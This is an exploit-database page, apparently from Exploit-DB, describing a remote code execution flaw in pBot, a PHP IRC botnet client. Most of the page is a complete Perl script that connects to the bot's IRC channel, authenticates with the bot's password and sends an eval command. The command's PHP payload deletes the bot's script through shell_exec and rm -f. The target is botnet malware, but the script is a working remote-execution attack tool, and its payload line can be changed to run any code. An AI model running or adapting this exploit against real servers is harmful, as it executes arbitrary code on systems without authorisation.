header-logo
Suggest Exploit
vendor:
pBot
by:
@bwallHatesTwits
7,5
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: pBot
Affected Version From: Various versions
Affected Version To: Various versions
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux 3.2
2012

pBot Remote Code Execution (“*” hostauth)

pBot is a PHP IRC bot that is vulnerable to remote code execution due to the use of an insecure hostauth value. An attacker can send a malicious payload to the bot, which will then be executed on the server. This payload can be used to delete the bot's originating script, and cause the bot to die.

Mitigation:

Ensure that the hostauth value is set to a secure value, and that the bot is not exposed to the public internet.
Source

Exploit-DB raw data:

#!/usr/bin/perl
# Exploit Title: pBot Remote Code Execution ("*" hostauth)
# Date: 31.07.2012
# Exploit Author: @bwallHatesTwits
# Software Link: https://www.firebwall.com/decoding/read.php?u=620d21fd31b87046e94975e03fdafa8a (decoded from attempted attack)
# Version: Various versions
# Tested on: Linux 3.2

use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;

my $nickname = "BotSlayer";
my $ident = "BotSlayer";
my $fullname = "BotSlayer";
$sel_client = IO::Select->new();

#configuration values from the bot source
$ircserver = "localhost";					#"server"
$ircserverpass = "";						#"pass"
my $ircport = "6667"; 						#"port"
#if "key" is set, then add a space and the password to the chan name
my @channels = ("#anonbxu"); 				#"chan" and "chan2"
$botPass = "hello";							#"password"
$botTrigger = ".";							#"trigger"
#hostauth must be "*"
$loginCMD = "user";							#usually user or login

#payload - PHP code to run
#This version deletes the bots originating script, and dies
$phpEval = "shell_exec(\"rm -f \".\$_SERVER['SCRIPT_NAME']);exit();";

$channelCount = scalar(@channels);

sub onJoin
{
	my $channel = shift;
	$channel = substr($channel, 1);
	print "Joined $channel\n";
	say($channel, $botTrigger.$loginCMD." $botPass");
	sleep(1);
	say($channel, $botTrigger."eval \@BallastSec ".$phpEval);
	print "Payload delivered\n";
	tryQuit();
}

sub tryQuit
{
	$channelCount--;
	if($channelCount == 0)
	{
		quit("whomp wha");
	}
}

sub sendraw 
{
    if ($#_ == '1') 
    {
		my $socket = $_[0];
		print $socket "$_[1]\n";
    } 
    else 
    {
        print $IRC_cur_socket "$_[0]\n";
    }
}

sub conn
{
    my $mynick = $_[0];
    my $ircserver_con = $_[1];
    my $ircport_con = $_[2];
    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
    if (defined($IRC_socket)) 
    {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_client->add($IRC_socket);
        $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
        if($ircserverpass != "")
        {
			sendraw("PASS ".$ircserverpass);
		}
        sendraw("NICK ".$mynick);
        sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
        sleep 1;
    }
}

sub parse 
{
    my $servarg = shift;
    print $servarg."\n";
    if ($servarg =~ /^PING \:(.*)/) 
    {
        sendraw("PONG :$1");
    }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) JOIN (.+)/)
    {
		my $channel = $4;
		onJoin($channel);
	}
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) 
    {
        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
        if ($args =~ /^\001VERSION\001$/) 
        {
            notice("$pn", "\001VERSION BotSlayer by Ballast Security\001");
        }
        if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) 
        {
            my $natrix = $1;
            my $arg = $2;
        }
    }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) 
    {
        if (lc($1) eq lc($mynick)) 
        {
            $mynick=$4;
            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        }
    } 
    elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) 
    {
        $mynick = $2;
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
        foreach(@channels)
        {
			sendraw("JOIN $_");
		}        
    }
}
my $line_temp;
while(1) 
{
    while (!(keys(%irc_servers))) 
    { 
		conn($nickname, $ircserver, $ircport); 
	}
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
    foreach $fh (@ready) 
    {
        $IRC_cur_socket = $fh;
        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $msg, 4096);
        if ($nread == 0) {
            $sel_client->remove($fh);
            $fh->close;
            delete($irc_servers{$fh});
        }
        @lines = split (/\n/, $msg);
        $msg =~ s/\r\n$//;
        for(my $c=0; $c<= $#lines; $c++) 
        {
            $line = $lines[$c];
            $line=$line_temp.$line if ($line_temp);
            $line_temp='';
            $line =~ s/\r$//;
            parse("$line");
        }
    }
}

sub say
{
	return unless $#_ == 1;
    sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice 
{
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
}

sub join 
{
	sendraw("JOIN $_[0]");
}

sub part 
{
	sendraw("PART $_[0]");
}

sub quit 
{
	sendraw("QUIT :$_[0]");
	exit;
}